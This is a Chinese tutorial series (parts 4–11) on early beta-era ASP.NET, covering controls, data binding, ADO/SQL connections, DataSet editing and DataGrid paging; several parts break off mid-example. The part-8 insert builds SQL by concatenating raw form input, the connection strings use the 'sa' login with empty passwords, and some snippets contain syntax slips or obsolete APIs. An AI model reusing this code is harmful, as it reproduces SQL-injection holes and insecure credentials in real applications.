最近有朋友问我，哪里可以学好ASP+，我早就说过NGWS中带的文档是最好的学习手册，不过由于NGWS的要求太高，还有它的大小（110M）的问题，有一部分兄弟，不能装上它，我给你们一个站点http://www.aspnextgen.com/quickstart/aspplus/ ,上面的文档就是NGWS直接带的，而且这个站点全是由asp+构建的，大家可以直接看到aspx的执行情况，我现在对我们的站点唯一不满的地方就是不能执行aspx,不能给大家看到例程的执行结果。
好了不说多话了，我们这一节要来看看如何使用asp+中的控件吧。
ASP+中的控件分为两种，一种是HTML控件(HtmlControls )，一种是WEB控件(WEBControls) ,我们这一节先来讲讲比较简单的HTML控件。另一种控件留到下一节再去讲:)

HTML控件，如果只是看外观，发现和普通的HTML标签没有什么两样，不过就是

<select><a>这些东东，唯一的区别就是在标签的后面多了个RunAt="server",其实我们对这个RunAt="Server"我们也不陌生，呵呵，在asp的global.asa文件我们经常看到。但是如果在asp+中多了这个，那么程序代码的性质也就变了。如:

<select id="aspcn"> <option>ASP</option> <option>JSP</option> <option>PHP</option> </select>
上面的select不过是一个普通的HTML标签而已，但是如果在select后加上RunAt="server"，那么一切都变了。
<select id="aspcn" RunAt="Server"> <option>ASP</option> <option>JSP</option> <option>PHP</option> </select> 那么这个就是一个asp+程序，我们就可以写ASPX程序了。 如：
<% @ Import NameSpace="System.Data" %>
<Script Language="c#" RunAt="Server">
void aspcn_onclick(Object src,EventArgs e)
{
string selectValue;
if(Page.IsPostBack)
{
selectValue=aspcn.Value;
SelectItem.Text=selectValue;
}
}
</script>
<html>
<head><title>Select演示程序</title></head>


csdn_亲密接触asp.net(4)

亲密接触ASP.Net(4)

作者：http://www.aspcn.com 飞刀

整天的泡在考研的资料里面，闲暇时就和朋友们大谈特谈NGWS,一天终于被lazy兄一棍子打醒，"都什么年代了，还在谈NGWS"，慌忙中赶快重新下载我心目中的"NGWS"，装上后，发现今非昔比，这个NGWS已经改名叫Micosoft .Net ,ASP+也堂而皇之的改名为ASP.Net.而且现在不仅window 2000能够安装调试asp.net了，而且连最烂的"瘟酒吧"也可以了，于是发现自已离时代越来越远了.....（台下人：发表什么感叹，还不快入正题)(同时，一不明飞行物突然向飞刀砸来，飞刀立刻倒在血泊中.....)

WEB控件
按照计划我们这一节要谈Web控件，我想了半天也不知道如何定义这个web控件，它比html控件难于理解，毕竟HTML太像原来我们熟悉的东东了。而web控件确与我们平常见到的有很大的出入，不知道大家还记不记得我说过的一句话，那就是ASP.net的程序就像是写VBVC中的窗口，先再这些窗口中加入我们的需要的控件，然后再对这些控件进行操作。如果你学过一点点VBVC的编程，那么理解这个就不难了，ASP.net中的web控件就像是VBVC中的控件一样。我们先在页面中摆好这些控件，然后再通过Page_Load以及其它一些自定义事件来对他们进行控制。我们还是通过看一个实例来了解一下吧。我们先举简单的Label控件吧.

源代码如下:

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{
if(!Page.IsPostBack)
{
label3.Text="这是黑体字，并且带下划线";
}
}
</script>
<html>
<head>
<title>测试Label控件</title>
</head>
<body>
<bold>测试Label控件:<br></bold>
<asp:Label id="label1" font-size="9pt" font-bold="true"
forecolor="red" runat="server">这是红色粗体的文字</asp:Label><br>
<asp:Label id="label2" font-size="10pt" font-italic="true"
forecolor="blue" runat="server" text="这是蓝色斜体的文字"
/><br>
<asp:Label id="label3" font-size="11pt" font-underline="true"
runat="server" />

</body>
</html>

这段程序执行后的结果是

测试Label控件:
 这是红色粗体的文字
这是蓝色斜体的文字
这是黑体字，并且带下划线

看看源代码，再看看程序执行的结果是不是发现Label控件和VB中的Label控件很相近：）

(注：你在你的机器上看到的中文可能是乱码，那么请您打开x:\winnt\microsoft\framework\v1.0.224目录，找到其中的config.web文件，打开它,找到下面的文字:

<globalization
requestencoding="iso-8859-1"
responseencoding="iso-8859-1"
/>

把其中的iso-8859-1改为gb2312,OK，再执行一下程序，中文是不是出来了：）

这里我们用了三种方法来操作Label控件，第一种是类似HTML的闭合标签，将要写的字写在<asp:Label></asp:Label>之间；第二种是用到了Label控件Text属性；第三种，是通过执行Page_Load事件而把文字写进Label控件的。这三种方法都很有用，看你自已的喜欢了，第三种是最常用的啦，以后我们会经常用到.Label控件不光有Text属性来控制它的文字，而且还有font-size等属性来控制字体大小，颜色等属性，这里的例子我都用到了，大家好好看看，相信没有什么问题

我们见过了Label控件的操作，那么我们对web控件有了一个感性的认识，在ASP.net中，一共有28个WEB控件，它们是:

AdRotator Button Calendar CheckBox
CheckBoxList CompareValidator CustomValidator DataGrid
DataList DropDownList HyperLink Image
ImageButton Label LinkButton ListBox
Panel RadioButton RadioButtonList RangeValidator
RegularExpressionValidator Repeater RequiredFieldValidator Table
TableCell TableRow TextBox ValidationSummary

大家可以到我上一节讲的那个站点去具体看一下他们各自的用法，这里我本来想主要讲一下DataGrid,DataLit,ListBox但是他们其中都需要用到Binding知识(这个我们在下一节讲)，所以我们主要来看看DropDownList的用法（因为我们上一节是用的select来讲解HTML控件的）

先看一个例子:

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{

}
public void sub_click(Object sender,EventArgs e)
{
string chioce;
chioce=ddl.SelectedItem.Text;
show.Text="您选择的是本工作室的<font color=red>"+chioce+"</font>成员";
}
</script>
<html>
<head>
<title></title>
</head>
<body>
<form runat="server">
请选择ASPCN.Com工作室程员:<br>
<asp:DropDownList id="ddl" RunAt="server">
<asp:ListItem>飞刀</asp:ListItem>
<asp:ListItem>大风</asp:ListItem>
<asp:ListItem>Zsir</asp:ListItem>
<asp:ListItem>布丁</asp:ListItem>
<asp:ListItem>亚豪</asp:ListItem>
</asp:DropDownList>
<br>
<asp:Button id="sub" Text="提交" RunAt="Server" OnClick="sub_click" /><br>
<asp:Label id="show" runat="server"/>
</form>
</body>
</html>

它执行显示为:

请选择ASPCN.Com工作室程员:

如果我选中了其中的飞刀，然后再按下"提交"键,那么显示就是:

请选择ASPCN.Com工作室程员:

您选择的是本工作室的飞刀成员

DropDownList控件，其实和select差不多，功能也就多那么一点点，但是这个多一点点的功能就是很有用的，这就是我们下一节要学习的Bind,呵呵，是不是想学了：）不急，我们先分析一下这里的程序。

我们用DropDownList控件建立起一个List列表，然后我们选择其中的一个选项，最后按提交键提交。这里我们可以看到处理程序的是sub_click这个事件，这里由名为sub的button控件激发，所用的事件是Onclick,这里和HTML控件所使用的OnServerClick事件是不同的，大家要分清楚。其它的好像没有什么可以说了。呵呵

我们下一节要讲bind，这个是很重要的。


csdn_亲密接触asp.net(5)

亲密接触ASP.net(5)

作者：http://www.aspcn.com 飞刀

现在是已经是凌晨2点了，没有办法，现在只有这个时间才可能有多余的时间来写这些文章，希望我的这一系列文章能够帮助更多的人.我们这一节主要是要讲DataBind，这个在ASP.net中是很重要的东东，几乎所有的控件都需要它来控制数据的操作。也可以说是ASP.net的数据核心。

我们先来看一个简单的例子：

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{
//首先建立一个数组
ArrayList arr=new ArrayList();
arr.Add("飞刀");
arr.Add("Zsir");
arr.Add("大风");
arr.Add("布丁");
arr.Add("亚豪");

//将数组捆绑到DropDownList控件上去
DDL.DataSource = arr;
DDL.DataBind();
}
</script>
<html>
<head>
<title></title>
</head>
<body>
<asp:DropDownList id="DDL" runat="server" />
</body>
</html>

最后的显示为:

我们在代码中可以看到我们建立了一个DropDownList，但是他没有<asp:ListItem>属性,而我们从最后的显示中依然可以看到我们所列出的选项。

这里就是我们用DataBind的结果，在Page_Load方法中我们建立了一个数组(ArrayList),并通过DataBind方法将这个数组捆绑到了DropDownList控件中，使得DropDownList最后有数据显示：），怎么样对Bind有一定感性认识了吧。下面我们开始正式讲解

其实DataBind()，不仅能对控件进行捆绑，而且还能够对页面中属性，方法进行捆绑，甚至整个页面都可以捆绑。比如，调用Page.DataBind()方法或者直接使用DataBind()，那么整个页面都将被捆绑，所有的数据全在监视之下。下面的例子，我们将使用DataBind方法来捆绑DropDownList，并获得其中的数据

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<Script Language="C#" Runat="Server">
public void sub_Click(Object sender,EventArgs e)
{
Page.DataBind();
}
</script>
<html>
<head>
<title></title>
</head>
<body>
<form runat=server>
<asp:DropDownList id="DDL" runat="server" >
<asp:ListItem>ASP技术</asp:ListItem>
<asp:ListItem selected>ASP.Net技术</asp:ListItem>
<asp:ListItem>JSP技术</asp:ListItem>
<asp:ListItem>PHP技术</asp:ListItem>
<asp:ListItem>组件技术</asp:ListItem>
</asp:DropDownList>
<br>
你现在选择的是:<font color=red><%# DDL.SelectedItem.Text %></font>区
<br>
<asp:Button id="sub" Text="提交" Type="submit" runat=server OnClick="sub_Click" />
</form>
</body>
</html>

执行后，我们选择JSP技术我们点击"提交"按钮,看到情况是:

你现在选择的是:JSP技术区

我们看到，那个红色的[JSP技术],我们并没有使用什么控件，但是他却能正确的显示我们的选择结果，这个是就捆绑的结果，注意<%# DDL.SelectedItem.Text %>这句话，正是它让我们取得了捆绑的数据。它看上去是不是像我们熟悉的<%=...%>这个语句，它们的使用方法相差不多，只是<%=...%>是在程序执行时调用，<%#... %>是在DataBind()方法之后被调用。以后我们还能经常看到他的身影，呵呵。

接收Bind的控件，一般有DropDownList,DataList,DataGrid,ListBox这些集合性质的控件，而被捆绑的主要是ArrayList(数组),Hashtable(哈稀表),DataView(数据视图),DataReader这四个，以后我们就可以对号入座，不会出现DataTable被捆绑的错误了：）

讲到Bind，就不能说一下DataBinder.Eval()方法.

我们在使用DataBind,获得的数据，系统会将其默认为String（字符串），这对我们平时的输出显示提供了极大的方便，但是我们并不是每次都需要string类型，有时我们就需要Boolean,Int32这些类型。此时我们就需要转化类型了。可能大家最先想到的是String.Format方法，这是最好的，但是用法过于烦。所以最好不要这样啦。我们可以用DataBinder.Eval()方法，他的格式是:

DataBinder.Eval(Container.DataItem,"转换的类型","格式")

最后一个"格式"是可选的，一般不用去管他，Container.DataItem是捆绑的数据项,"转换类型"指的是Integer,String,Boolean这一类东西.

有了它，我们处理数据就更加方便

最后我们来看一个例子，关于DataView的捆绑，呵呵，老是用DropDownList烦了，这次用DataGrid,在这个例子中我们可以看到"表是怎样炼成的"

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{
int i;
//建立表数据
DataTable dt=new DataTable();
DataRow dr;
//建立Column例，可以指明例的类型,这里用的是默认的string
dt.Columns.Add(new DataColumn("编号"));
dt.Columns.Add(new DataColumn("用户名"));
for(i=1;i<8;i++)
{
dr=dt.NewRow();
dr[0]=Int32.ToString(i);
dr[1]="aspcn"+Int32.ToString(i);
dt.Rows.Add(dr);
}
//捆绑
DG1.DataSource = new DataView(dt);
DG1.DataBind();

}
</script>
<html>
<head>
<title></title>
</head>
<body>
<asp:DataGrid id="DG1" runat=server align=center HeaderStyle-BackColor="#aaaadd" />

</body>
</html>

我们见到的情况是:
编号 | 用户名
1 | aspcn1
2 | aspcn2
3 | aspcn3
4 | aspcn4
5 | aspcn5
6 | aspcn6
7 | aspcn7


csdn_亲密接触asp.net(6)

亲密接触ASP.Net(6)

作者: http://www.aspcn.com飞刀

关于Namespace(命名空间)的使用

在前面的程序中我们看到，我常用<% @ Import Namespace="System.Data" %>,这是在引用M$为我们提供的Namespace,这和ASP不同的，我们在ASP.net必须先引用与我们操作有关的Namespace后才能使用相应的功能。其实说白了，一个Namespace; 就是一个组件。这个是关于ASP.net的高级应用，我会在后面的章节讲。（不过要写到那里，时间......)

我下面简单的列举一些常用的Namespace

<% @ Import Namespace="System.Data" %> 处理数据时用到
<% @ Import Namespace="System.Data.ADO" % > 使用ADO.net ; 时用到
<% @ Import Namespace="System.Data.SQL" %> SQL Server 数据库专用
<% @ Import Namespace="System.Data.XML" %> 不用看处理XML用到
<% @ Import Namespace="System.IO" %> 处理文件时用到
<% @ Import Namespace="System.Web.Util" %> 发邮件时大家会用到
<% @ Import Namespace="System.Text" %> 文本编码时用到

操作数据库需要的东东

讲解了Namespace,我们可以正式来讨论数据库的应用了。从上面的可以看出，我们操作数据库，我们需要引用下面两个Namespace

<% @ Import Namespace="System.Data" %>
<% @ Import Namespace="System.Data.SQL" %>

其实System.Data.SQL 可以用System.Data.ADO来代替，SQL是SQL Server专用，ADO可以支持任何数据库（只要在主机上存在相应的驱动就行了,如Access,Mysql,Oracle之类的）,这里由于飞刀的数据库是SQL Server,本来可以用ADO，但是想想M$单独把SQL独立出来，为何不用呢。至于它能带来多少好处，飞刀没有测试过，对SQL Server肯定要比ADO好一点啦。

无论是ADO还是SQL ，他们都有几个基本的对象用于操作

Connections 连结到一个数据库，以便于后面的应用（类似ADO中的Connections)
Commands 执行SQL语句的地方
DataReader 读取执行后返回的数据内容
DataSet 储存数据，功能强大，我们会具体讲解
DataSetCommand 执行SQL语句,并把数据存入DataSet

这里面可能最难理解的就是DataSet,我们先不去管他，先拿软的开刀

Connections(SQLConection 或者 ADOConnection)

它的主要任务就是建立一个与数据库服务器的联结

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<% @ Import Namespace="System.Data.SQL" %>
<Script Language= "C#" Runat= "Server">
public void Page_Load(Object src,EventArgs e)
{
stringstrProvider="server=localhost;uid=sa;pwd=;database=aspcn";
SQLConnection MyConnection=new SQLConnection(strProvider);
}
</script>

上面我们建立了一个名为MyConnection的联结，就好像我们在ASP中用ADODB.Connection打开了一个联结.这个联结我们在Command或者DataSetCommand中将会使用.

它的一些有用的属性和方法有

ConnectionString | 取得或设置连结数据库的语句
ConnectionTimeout | 取得或设置连结数据库的最长时间，也是就超时时间
DataBase | 取得或设置在数据库服务器上要打开的数据库名
DataSource | 取得或设置DSN,大家不会陌生吧：）
Password | 取得或设置密码
UserID | 取得或设置登陆名
State | 取得目前联结的状态
Open() | 打开联结
Close() | 关闭联结
Clone() | 克隆一个联结。（呵呵，绵羊可以Connection我也可以)

我们也通过一个小例子来看看他们的用法：
SQLConnection myConnection = new
SQLConnection();
myConnection.DataSource =
"mySQLServer";
myConnection.Password =     "";
myConnection.UserID = "sa";
myConnection.ConnectionTimeout =
30;
myConnection.Open();
myConnection.Database =
"northwind";
myConnection.IsolationLevel =   IsolationLevel.ReadCommitted

Commands(SQLCommand 或者 ADOCommand)

上面的程序中我们打开了一个联结，这里我们就需要来使用这个,看例子比较好:

<% @ Page Language="C#" %>
<% @ Import
Namespace="System.Data" %>
<% @ Import Namespace="System.Data.SQL"
%>
<Script Language="C#" Runat="Server">
public void
Page_Load(Object src,EventArgs e)
{
stringstrProvider="server=localhost;uid=sa;pwd=;database=aspcn";
string
strIndex="select * from aspcn where purview='webmaster'";
SQLConnection
MyConnection=new SQLConnection(strProvider);
SQLCommand MyCommand = new
SQLCommand(strIndex,MyConnection);
MyConnection.Open();    //打开联结
MyCommand.ExecuteNonQuery();
//执行SQL，但不返回任何记录
MyConnection.Close();
}
</script>

在上面的例子中我们建立SQLCommand对象时引用了两个参数(strIndex,MyConnection),从源程序中我们也可以看出来strIndex代表的是执行的SQL语句，MyConnection是我们先前建立的联结.然后我们就要先打开MyConnnection,然后再执行这个SQL语句。我们在这里执行用的是ExecuteNonQuery()方法，这样不返回记录集，只是返回受影响的记录个数。

这里我们打开和关闭数据库也可以这样做。

     stringstrProvider="server=localhost;uid=sa;pwd=;database=aspcn";
string
strIndex="select * from aspcn where purview='webmaster'";
SQLConnection
MyConnection=new SQLConnection(strProvider);
SQLCommand MyCommand = new
SQLCommand(strIndex,MyConnection);
MyCommand.ActiveConnection.Open();
MyCommand.ExecuteNonQuery();
MyCommand.ActiveConnection.Close();

所得结果和先前的一样。所以执行一条SQL语句有很多种方法。而且还不只两种，我们后面学了DataSetCommand,那打开方法就是N种了：）这就需要看你的习惯和程序的要求了；）

我们先来看看Command常用的方法和属性

ActiveConnection | 取得或设置联结Connections
CommandText | 执行的SQL语句或储存过程(StoredProcedure)名
CommandTimeout | 执行的最长时间
CommandType | Command操作的类型(StoredProcedure,Text,TableDirect)三种,默认Text
Parameters | 操作储存过程时使用
Execute() | 执行SQL语句或储存过程
ExecuteNonQuery() | 同上，区别在于不返回记录集
Clone() | 克隆Command

同样看一个例子：

string mySelectQuery = "SELECT * FROM
Categories ORDER BY CategoryID";
stringmyConnectString="userid=sa;password=;database=northwind;server=mySQLServer";
SQLCommand myCommand = new SQLCommand(mySelectQuery);
myCommand.ActiveConnection = new SQLConnection(myConnectString);
myCommand.CommandTimeout = 15;
myCommand.CommandType = CommandType.Text;<
/FONT
>


csdn_亲密接触asp.net(7)

亲密接触ASP.Net(7)

作者：www.aspcn.com飞刀

上一节，我们简单的讲了一下数据库的应用，而我们没有具体说明执行语句如何用于显示。呵呵，是留在这一章节中讲的。这里我们必须得了解一下DataReader,DataSet和DataGrid控件，DataGrid是显示控件，大家自已去看它相关的应用，我们在这里不哆嗦，DataReader和DataSet都可以用来储存数据内容，不过DataReader只能储存查询的结果，DataSet就相对来说复杂多了，他的功能很强大，我们一步步来讲，这一节还讲不完，我们这一节只讲其关于储存数据库的功能，呵呵，为了和DataReader的讲解嘛.

讲数据库，首先得有用的数据才行，我这里随便搞了一个数据库，名为Company,再加了几条数据进去

DataReader

DataReader看名字就知道了，就是读取数据，我们可以通过Command的Execute方法，将取得的数据存入DataReader,DataReader有很多方法和属性，常用的是Read,这里我也不想多讲.我们还是先看看它的具体应用吧。

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<% @ Import Namespace="System.Data.SQL" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{
//定义语句
string mySelectQuery = "SELECT * from Company";
string myConnString="server=localhost;uid=sa;pwd=123456;database=aspcn";
//联结
SQLConnection myConnection = new SQLConnection(myConnString);
SQLCommand myCommand = new SQLCommand(mySelectQuery,myConnection);
myConnection.Open();
//定义DataReader
SQLDataReader myDataReader;
//赋与DataReader以结果
myCommand.Execute(out myDataReader);
//将DataReader与DataGrid进行捆绑
show.DataSource=myDataReader;
show.DataBind();
//关闭
myDataReader.Close();
myConnection.Close();
}
</script>
<html>
<head>
<title></title>
</head>


csdn_亲密接触asp.net(8)

亲密接触ASP.Net(8)

http://www.aspcn.com 飞刀

我们前面的章节讲了一下如何显示数据库中信息以及DataReader和DataSet的基本用法，有朋友说不过瘾，要我快快写下面的章节，很是对不起，我实在是没有太多时间，写这些很慢。（不要扔鸡蛋，最多我不说废话啦)

我们这里还是来讲讲DataSet吧，这是一个功能强大的东东，我们在上一节对它有了一个初步的了解，这里我们要讲其如果用来操作数据。也是很简单的东东，但是功能强大,要讲全，不太可能，因为DataSet和DataGrid控件的讲解就占了.Net 帮助的50%以上，而这个总共有23M...

这里我们建立一个test.mdb数据库，做为测试的数据库，其中有一个名为aspcn的表，数据结构如图

图 8-1

不需DataSet的数库操作

在讲DataSet的应用之前，我们来看看在ASP.net不使用DataSet如何对数据库进行插入，更新，删除.

要对数据进行插入，更新，删除而又不能用DataSet，没有办法，只有用SQL直接来啦：)，我这里只讲一下怎样去插入，因为其它的操作只是改一下SQL语句，我想大家没有问题吧。这里由于使用的是mdb数据库，那么这次就要用ADO.net来操作了。

我们先看看整个源代码再说

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<% @ Import Namespace="System.Data.ADO" %>
<Script Language="C#" Runat="Server">
public string myConnstring="Driver={Microsoft Access Driver (*.mdb)}; DBQ=c:/test/test.mdb;";
ADOConnection MyConnection;
public void Page_Load(Object src,EventArgs e)
{
//用户提交数据
}
public void submit_Click(Object src,EventArgs e)
{
string username1	=	Request.Form["username"];
string address1	=	Request.Form["address"];
string school1	=	Request.Form["shool"];
string strInsert="insert into aspcn(username,address,school)
values('"+username1+"','"+address1+"','"+school1+"')";
//开始联结
try
{
MyConnection = new ADOConnection(myConnstring);
ADOCommand MyCommand = new ADOCommand(strInsert,MyConnection);
MyConnection.Open();
MyCommand.ExecuteNonQuery();
MyConnection.Close();
Info.Text="数据已经保存";
}
catch(Exception ee)
{
Info.Text="发生错误:"+ee.Message;
}
}
</script>
<html>
<head>
<title></title>
</head>


csdn_亲密接触asp.net(9)

亲密接触ASP.Net(9)

作者: http://www.aspcn.com 飞刀

我们继续前面的内容，呵呵，这次主要是讲DataSet的强大功能啦：）。上次吹了大家的泡泡（说话不算数的意思，湖南人都能听懂吧：）），这次一定不能再食言了：）

在一个DataSet中储存多个数据表

我们在ASP中很多人习惯于使用RecordSet对象来操作数据库，但是RecordSet有一个的缺点就是一个RecordSet只能储存一个数据表，当我们需要操作多个表时，不得不在多个RecordSet中来回操作，虽然这些在使用习惯后也没有什么，但是对一个新手来说，这也是一个很麻烦人的事情。光是那些变量名就可以搞浑你，现在好了，在ASP.Net中，只需要一个DataSet就可以搞定一切。大大的方便了我们的程序。我们还是老样子，先看一段程序，再来细细讲解。

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data"
%>
<% @ Import Namespace="System.Data.ADO"
%>
<Script Language="C#" Runat="Server">
public void Page_Load(Object
src,EventArgs
e)
{
//联结语句
string
MyConnString = "Driver={Microsoft
Access Driver (*.mdb)};
DBQ=c:/test/test.mdb;";
string strComm1 = "select * from
UserList";
string strComm2 = "select * from
BookList";

//打开一个联结
ADOConnection
MyConnection
= new ADOConnection(MyConnString);

//打开两个DataSetCommand
ADODataSetCommand MyComm1 = new
ADODataSetCommand(strComm1,MyConnection);
ADODataSetCommand MyComm2 = new
ADODataSetCommand(strComm2,MyConnection);

DataSet
MyDataSet
= new DataSet();

//把 UserList,BookList表存入DataSet
MyComm1.FillDataSet(MyDataSet,"UserList");
MyComm2.FillDataSet(MyDataSet,"BookList");

DataGrid1.DataSource =
MyDataSet.Tables["UserList"].DefaultView;
DataGrid2.DataSource =
MyDataSet.Tables["BookList"].DefaultView;

DataGrid1.DataBind();
DataGrid2.DataBind();
}
</script>
<html>
<head>
<title></title>
</head>
<body>
<table>
<tr>
<td>
<ASP:DataGrid
id="DataGrid1" runat="server"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
/>
</td>
<td>
<ASP:DataGrid
id="DataGrid2" runat="server"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
/>
</td>
</tr>
</table>
</body>
</html>

在上面的例子中，我们打开了一个名为test.mdb的Access数据库，然后把他其中的两个表"UserList"和"BookList"使用两个DataGrid控件显示出来。显示的图片如下：

图9-1

我们现在来分析一下代码:

string
MyConnString
= "Driver={Microsoft Access Driver (*.mdb)};
DBQ=c:/test/test.mdb;";
string strComm1 = "select * from
UserList";
string strComm2 = "select * from
BookList";

ADOConnection
MyConnection
= new ADOConnection(MyConnString);

ADODataSetCommand
MyComm1 = new ADODataSetCommand(strComm1,MyConnection);
ADODataSetCommand
MyComm2 = new ADODataSetCommand(strComm2,MyConnection);

这些都只是在作一些准备工作，打开一个联结，并且打开两个DataSetCommand取得两个表的数据。

DataSet MyDataSet = new DataSet();

这是我们程序的关键之地，这里打开了我们要操作的DataSet对象。下面我们就需要将数据表的内容填入DataSet了。

MyComm1.FillDataSet(MyDataSet,"UserList");
MyComm2.FillDataSet(MyDataSet,"BookList");

这里是我们今天的主要内容。前面的几章曾经说过，在一个DataSet中可以包含多种数据，这里我们是往这个名为MyDataSet的DataSet中存放了两个数据库表，其实只要愿意，我们还可以在里面插入XML数据，而且他们是不会出现冲突的。大家可以放心使用，呵呵。

再下面的代码，就是把MyDataSet的数据传送给DataGrid控件显示。这里就不多说了。

这里我们只是简单的说了一下DataSet能存放多个数据表的功能，大家看看好像没有什么特别的。这里看起来确实好像没有什么特别的功能，但是如果配上DataSet中的修改、添加、删除功能，我们操作数据库就变得很简单。我们可以先将数据库读入DataSet，然后在DataSet中修改数据，如果改得觉得不满意，我们还可以使用RejectChanges方法全面恢复，最后一并交给去数据库去更新。

下一节，我们再来讲解，如何使用DataSet来添加，修改，删除数据。


csdn_亲密接触asp.net(10)

亲密接触ASP.Net(10)

作者: http://www.aspcn.com 飞刀

接上一节，我们这一节主要计论如何使用DataSet，在数据库中增加、修改、删除一个数据。

首先我们需要打开一个联结，我们的数据库还是用上一节的吧：）

string
MyConnString = "Driver={Microsoft Access Driver (*.mdb)};
DBQ=c:/test/test.mdb;";
string strComm = "select * from
UserList";
ADOConnection
MyConnection = new
ADOConnection(MyConnString);
ADODataSetCommand
MyComm = new
ADODataSetCommand(strComm,MyConnection);

这里我们为了讲解方便，只在DataSet存入一个表的内容:

DataSet
MyDataSet = new
DataSet();
MyComm.FillDataSet(MyDataSet,"UserList");

此时我们就获得了一个拥有UserList表数据的DataSet。在讲解DataSet之前，我们还需要了解DataSet的结构下面是DataSet的结构树

  • DataSet
      • RelationsCollection
      ExtendedProperties
    • TablesCollection
      •
      • DataTables
      •
          Rows
          Columns
          其它

由于我们研究的是DataTable，其它的我们暂时不管他们。一个DataSet中包含多个DataTable,一个DataTable又包含有多个Row，这就是我们操作DataSet的基础啦：）

添加数据

添加一数据，从上面的列表中我们可以看出，其实就是添加一行Row，这里我们也来演示一下如何添加一行数据，我们程序一切以DataSet为顶点，呵呵，如果TablesCollection,RowsCollection下去的话，还有一些烦人的dt.AcceptChanges这些方法的调用，很烦人，还是一次搞定吧。

DataRow
dr=MyDataSet.Tables["UserList"].NewRow();
dr["UserName"] = "周讯";
dr["ReMark"] = "100";
dr["Comment"] = "漂亮MM"；
MyDataSet.Tables.Rows.Add(dr);

第一行，我们建立一个新的数据行，它用来储存我们新加入的数据。然后我们在这个数据行中加入我们需要的数据。dr["UserName"]表明是对UserName字段进行添加，你可以使用dr[1]来添加信息，但是这需要我们事先知道字段在数据表的位置，而且在不知道数据表结构的情况很难知道我们添加的数据的对应情况，所以还是用字段名为好。

最后我们使用RowsCollection的Add方法，将我们新建这一行加入到数据表中。

修改数据

知道如何添加数据后，修改数据也是很简单的事情了.

MyDataSet.Tables["UserList"].Rows[0]["UserName"]="飞刀大哥";

这样我们就修改了第一行数据中的UserName字段。

删除数据

删除数据，主要是使用RowsCollection提供的Delete方法，看下面的程序也是很简单的事情啦：）

MyDataSet.Tables["UserList"],Rows[0].Delete();

这一行数据就已经被删除了。

恢复数据

有时候我们添加/修改数据会出现错误，这时候，就需要恢复原来的数据。下面的程序，显示如何判断是否有错误发生：

if(MyDataSet.HasErrors)
{
MyDataSet.RejectChanges();
}

首先我们检查DataSet中是否有错误发生，如果有就使用RejectChanges()方法，恢复DataSet中的数据。注意这里恢复是在DataSet中所有表以及表中DataRow中的数据，也就是在此交次操作的数据全部恢复。如果我们只需要恢复部分内容，我们可以使用DataTable或DataRow的RejectChanges()，这里就不详细讲解了，使用方法和DataSet一样，只是操作的对像不同而已。

探测DataSet是否有改动

我们在将DataSet送交给数据库去保存去，我们需要看看这个DataSet是否已经被改动了。如果没有改动，我们也就没有必要去修改数据库了。

if(MyDataSet.HasChanges)
{
//保存
}else{
//不进行任何操作
}

更新数据库

我们上面的操作，都只是针对DataSet的，没有操作数据库，但是我们的目的还是要将数据保存到数据中去，所以我们这里就需要调用DataSetCommand的Update方法。下面的程序显示如何将DataSet的数据交给数据库。

MyComm.Update(MyDataSet);

很简单的一句，呵呵。这里要注意，如果一个DataSet中包含有多个表，而我们只更新一个，那我们就必须写明更新的数据表名：

MyComm.Update(MyDataSet,"UserList");

当Update方法被调用后，DataSetCommand会将数据库中的数据与DataSet中的数据相比较，对不相同的地方进行更新。

对于DataSet的操作，我们这里只讲这么多，其实DataSet的方法和属性有很多，功能也很全，我想现在这里的所讲的功能，对一般的操作已经足够了。


csdn_亲密接触asp.net(11)

亲密接触ASP.Net(11)

作者: http://www.aspcn.com 飞刀

在ASP.Net内中，如何做到分页

我不只一次地被别人问起，如何在ASP.Net实现分页功能。我实在不愿意回答这个问题。因为在ASP.Net中实现分页，实在是太简单了，简单到你一看到程序就会去气得跳楼，呵呵要发表感叹，为什么这个东东不早出来。

在以住的WEB技术中，我们要做到分页，经常是一长串代码才能搞定它，而且每用一个页面，就要重写一次，烦的要命。但是在ASP.Net中借助DataGrid控件，我们分页程序可以轻松搞定，需要的只是对DataGrid控件做一些设定。我们还是借助一个程序来看：）

<% @ Page Language="C#" %>
<% @ Import Namespace="System.Data" %>
<% @ Import Namespace="System.Data.ADO" %>
<Script Language="C#" Runat="Server">
public void Page_Load(Object src,EventArgs e)
{
//联结语句
string MyConnString = "Driver={Microsoft Access Driver (*.mdb)}; DBQ=c:/test/test.mdb;";
string strComm = "select * from UserList order by id";

//打开一个联结
ADOConnection MyConnection = new ADOConnection(MyConnString);

//打开两个DataSetCommand
ADODataSetCommand MyComm = new ADODataSetCommand(strComm,MyConnection);

DataSet MyDataSet = new DataSet();

//把UserList,BookList表存入DataSet
 MyComm.FillDataSet(MyDataSet,"UserList");

DataGrid1.DataSource = MyDataSet.Tables["UserList"].DefaultView;
DataGrid1.DataBind();

}
</script>
<html>
<head>
<title></title>
</head>
<body>
<form runat="server">
<ASP:DataGrid id="DataGrid1" runat="server"
BorderColor="black"
BorderWidth="1"
GridLines="Both"
CellPadding="3"
CellSpacing="0"
Font-Name="Verdana"
Font-Size="8pt"
HeaderStyle-BackColor="#aaaadd"
AlternatingItemStyle-BackColor="#eeeeee"
/>
</form>
</body>
</html>

它的显示结果为：

